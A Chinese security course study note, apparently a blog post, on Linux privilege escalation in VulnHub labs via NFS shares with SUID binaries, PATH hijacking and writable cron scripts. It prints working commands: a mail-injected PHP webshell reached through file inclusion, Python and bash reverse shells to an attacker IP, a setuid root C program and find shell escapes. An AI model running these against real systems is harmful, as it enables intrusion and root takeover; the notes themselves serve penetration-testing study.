当前位置: 首页 > news >正文

小迪安全v2023学习笔记(一百四十天)—— Linux系统权限篇VulnhubPATH变量NFS服务Cron任务配合SUID

文章目录

  • 权限提升——第一百四十天
    • Linux系统权限篇&Vulnhub&PATH变量&NFS服务&Cron任务&配合SUID
      • 前置知识
        • 所处环境
        • 什么是NFS?Cron?PATH?
      • Linux系统提权 - Web&用户-NFS安全
      • Linux系统提权 - 普通用户-PATH变量
      • Linux系统提权 - Web&用户-Cron任务

权限提升——第一百四十天

Linux系统权限篇&Vulnhub&PATH变量&NFS服务&Cron任务&配合SUID

前置知识

所处环境
  • 本节课我们所处的位置和上节课一样,依然是Web用户或者普通用户到系统用户的跨越:
    在这里插入图片描述

  • 然后回顾一下Linux的提权手段有:

    1. 内核溢出漏洞提权
    2. suid、sudo、nfs、path、ld_preload、cron、lxd、capability、rbash等
    3. 数据库类型提权
  • 那么本节课主要是关于NFS、Corn和PATH的提权方式

什么是NFS?Cron?PATH?
  • NFS是一种基于客户端-服务器模型的分布式文件系统协议,允许用户像在本地工作一样在远程系统上查看、更新和存储文件。它基于TCP/IP(或早期版本的UDP)进行文件传输和交换。
  • Cron是Linux和Unix系统中用于定时执行任务的程序,允许用户在指定时间自动执行脚本、命令或软件。
  • PATH是操作系统中的一个环境变量,用于指定系统在执行命令或程序时,可以在哪些文件夹中查找可执行文件。

Linux系统提权 - Web&用户-NFS安全

  • 环境复现:hacksudo: 2 (HackDudo) ~ VulnHub

  • 前提条件:NFS端口服务开启和web或用户权限进行利用

  • 这个靶机需要用Virtualbox搭建,导入之后将网络改为Host-Only
    在这里插入图片描述

  • 然后设置中搜索网络适配器看这个网卡在哪个网段:
    在这里插入图片描述

  • 再用雪影或者nmap扫这个网段,发现目标主机IP为192.168.56.101,并且开启了nfs服务:
    在这里插入图片描述

  • 我们使用如下命令去显示NFS(网络文件系统)服务器上所有已导出的文件系统列表的命令:

showmount -e <IP>

在这里插入图片描述

  • 这里表示它的NFS共享文件夹为/mnt/nfs,我们在本地创建一个文件夹,和它进行连接:
# 创建nfs文件夹
mkdir /tmp/nfs
# 把目标的/mnt/nfs目录跟kali本地的nfs目录进行同步
sudo mount -t nfs <IP>:/mnt/nfs ./nfs

在这里插入图片描述

  • 此时我们/tmp目录下的nfs文件夹就和目标主机的/mnt/nfs为同一个文件夹了,我们可以在这里创建一个高权限的程序,然后利用这个来进行提权,比如这里我们用上传find程序:
# 查看本地find路径
whereis find# 使用root用户上传到nfs文件夹
sudo cp /usr/bin/find ./nfs/find1

在这里插入图片描述

  • 给足权限:
    在这里插入图片描述

  • 然后我们如果能拿到对方普通用户的权限,就能够直接利用上传的find1程序进行提权,这里刚好开启了Web服务,并且存在任意文件读取漏洞:

http://<IP>/file.php?file=/etc/passwd

在这里插入图片描述

  • 于是我们就可以在nfs中上传一个后门文件,然后让他解析这个文件,尝试哥斯拉连接:
    在这里插入图片描述
    在这里插入图片描述

  • 我们用昨天的网站直接利用SUID提权的命令:

./find1 -exec /bin/sh \; -quit

在这里插入图片描述

  • 这里执行失败了,原因是我们的Kali中的glibc版本比较高,而目标主机中动态链接器找不到对应版本符号拒绝加载,导致无法执行,这里有两种解决办法:
    1. 找一个与目标版本相似的系统,上传这个系统的find
    2. 找一个与目标版本相似的系统,自己写一个c语言去调用命令
  • 那我们就直接写一个C程序去进行提权即可:
#include <stdlib.h>
#include <unistd.h>
int main() {setuid(0);system("id");system("whoami");
}
  • 这里直接在kali上写上面的C语言程序,然后采用静态链接加载这个文件即可:
gcc -s -static -o getroot getroot.c
chmod 777 getroot
chmod +s getroot

在这里插入图片描述

  • 可以看到,成功提权!这里就直接可以用这个程序进行命令执行,或者让这个程序起一个新的终端

Linux系统提权 - 普通用户-PATH变量

  • 环境复现:https://www.vulnhub.com/entry/symfonos-1,322/

  • 前提条件:存在SUID的应用中能执行额外命令加用户权限
    在这里插入图片描述

  • 开通了Web服务,我们这里可以通过SMB服务找到网站的后台路径/h3l105,我们访问:
    在这里插入图片描述

  • 这里是WordPress搭建的网站,直接找历史漏洞尝试打进去,可以用kali自带的wpscan扫描:

wpscan --url http://<IP>/h3l105/ --plugins-detection aggressive

在这里插入图片描述

  • 这里就用这个漏洞尝试打进去,我们用searchsploit去搜索这个漏洞:
searchsploit mail masta 1.0

在这里插入图片描述

  • kali自带有这个漏洞的EXP,那就直接找到对应EXP文件利用了,这里在/usr/share/exploitdb/exploits/php/webapps/40290.txt位置:
    在这里插入图片描述

  • 然后上面是它的利用Payload,任意文件包含漏洞:

http://<IP>/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

在这里插入图片描述

  • 这里因为它开启了25端口,我们可以利用发送邮件的方式去写入一个邮件后门,然后利用LFI去包含该邮件信息去触发我们的后门代码:
# telnet连接25端口
telnet <IP> 25# 输入如下内容写入后门
MAIL FROM: MALABIS
RCPT TO: helios
data
<?php system($_GET['shell']); ?>
.
QUIT

在这里插入图片描述

  • 之后先启动监听,然后访问这个页面,传入反弹Shell的参数值:
http://<IP>/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&shell=
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<攻击机IP>",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在这里插入图片描述

  • 成功接收到反弹Shell,然后尝试提权,我们先找一下有没有可以利用的SUID文件:
find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

  • 因为这种程序文件很多都是由命令写出来的,所以我们可以看看它里面的一些信息,看看有没有可以利用的命令:
strings /opt/statuscheck

在这里插入图片描述

  • 可以看到这里有个curl命令,这个命令是在我们这台主机上存在的,它的路径为:
    在这里插入图片描述

  • 而直接使用curl就可以识别的原因是系统将这个目录放进了环境变量,我们输入如下命令可以看到当前环境变量中的文件路径:

echo $PATH

在这里插入图片描述

  • 当系统遇到一个命令时,就会按照从左到右的顺序去环境变量中找对应的文件,尝试执行,这里/usr/bin目录在环境目录下,因此能够找到curl文件并执行
  • 而这个我们是可以控制的,我们可以临时设置当前的环境变量路径,所以我们只需要在一个可写文件夹下,创建curl恶意文件,将该目录放到环境变量下,然后执行带有SUID的statuscheck命令,我们就能够拿到高权限用户了,调用过程相当于:
statuscheck(suid)  -->  curl(suid)  -->  root
  • 直接如下命令进行利用:
cd /tmp
# 如果这里要用/bin/bash起一个新bash的话,需要先python起一个bash
echo "whoami" > curl
chmod 777 curl
# 将/tmp目录临时放入环境变量
export PATH=/tmp:$PATH
echo $PATH
/opt/statuscheck

在这里插入图片描述

Linux系统提权 - Web&用户-Cron任务

  • 环境复现:https://www.vulnhub.com/entry/jarbas-1,232/

  • 前提条件:Web或用户权限进行查看,任务文件可修改
    在这里插入图片描述

  • 同样直接来到入口点,这里是Jenkins的一个网站,通过http://192.168.139.152/access.html页面泄漏的账号密码登录后台,创建任务反弹Shell:

账号:eder
密码:vipsu

在这里插入图片描述

bash -i >& /dev/tcp/<IP>/8888 0>&1
  • 先起个监听,然后保存并立即构建项目,就能够收到反弹回来的Shell了:
    在这里插入图片描述

  • 这里我们采用计划任务的方式去提权,我们可以查看计划任务:

cat /etc/crontab

在这里插入图片描述

  • 里面有个5分钟执行一次的脚本,一般我们都是没有直接创建计划任务的权限的,所以通常是看有没有权限去修改计划任务中已存在的文件,而计划任务中的文件都是以高权限执行的,所以我们可以利用提权
  • 这里刚好我们可以修改这个文件的内容:
ls -lia /etc/script/CleaningScript.sh

在这里插入图片描述

  • 因此我们可以先起个监听,然后写入反弹Shell的命令,尝试拿到高权限:
# 写入反弹Shell命令
echo "/bin/bash -i >& /dev/tcp/<IP>/8888 0>&1" >> /etc/script/CleaningScript.sh# 查看是否成功写入
cat /etc/script/CleaningScript.sh
  • 然后等待几分钟,就可以看到成功接收到反弹的Sehll,并且是高权限用户:
    在这里插入图片描述
http://www.dtcms.com/a/549619.html

相关文章:

  • 做网站前端wordpress打字烟花
  • 新能源汽车动力系统拆装与检测实训MR软件介绍-比亚迪秦EV标准版
  • 力扣:214. 最短回文串(Python3)
  • 基于Jdk17+SpringBoot3AI智慧教育平台,告别低效学习,AI精准导学 + 新架构稳跑
  • 论坛网站太难做没人百度推广客户端app
  • Shell实用实例2
  • Go语言:解决 “package xxx is not in std”的思路
  • 给排水干管工程量-连续测量得心应手
  • 麦克斯韦方程扩展版本,用来解释不对称情况下的公式
  • 哈尔滨网站建设的公司哪家好广安发展建设集团门户网站
  • 批量转双层PDF(可识别各种语言) 中文绿色版
  • 北京网站关键词排名销售管理软件排名
  • TCP 扫描中的“有效响应”过滤器解析
  • 我用ChatGPT,给RabbitMQ加了个连接池
  • 做电脑网站手机能显示不出来怎么办you物公馆网站建设
  • Rust 所有权:内存安全的基石与实践指南
  • PostGreSQL 数据库,备份和恢复命令,使用pg_dump命令备份
  • 蓝桥杯高校新生编程赛第二场题解——Java
  • 深入理解XXE外部实体注入漏洞:原理、利用与防护
  • 用 CTE 重构嵌套子查询:让复杂报表 SQL 可读性提升 80%
  • 做阿里云网站的公司吗南昌做网站后台投票
  • Docker 容器命令深度解析:从docker run到docker ps的精通之路
  • 开源自动驾驶平台全景:超越Autoware和Apollo
  • 深入JVM:让Java性能起飞的核心原理与优化策略
  • RFID 技术赋能汽车制造:发动机气缸缸体生产线智能化升级案例
  • Java Excel页面设置配置指南
  • 网站集约化建设做法ecommercial+wordpress
  • C#:调试附加到进程
  • Redis哈希槽
  • SAP PP BOM查询报表分享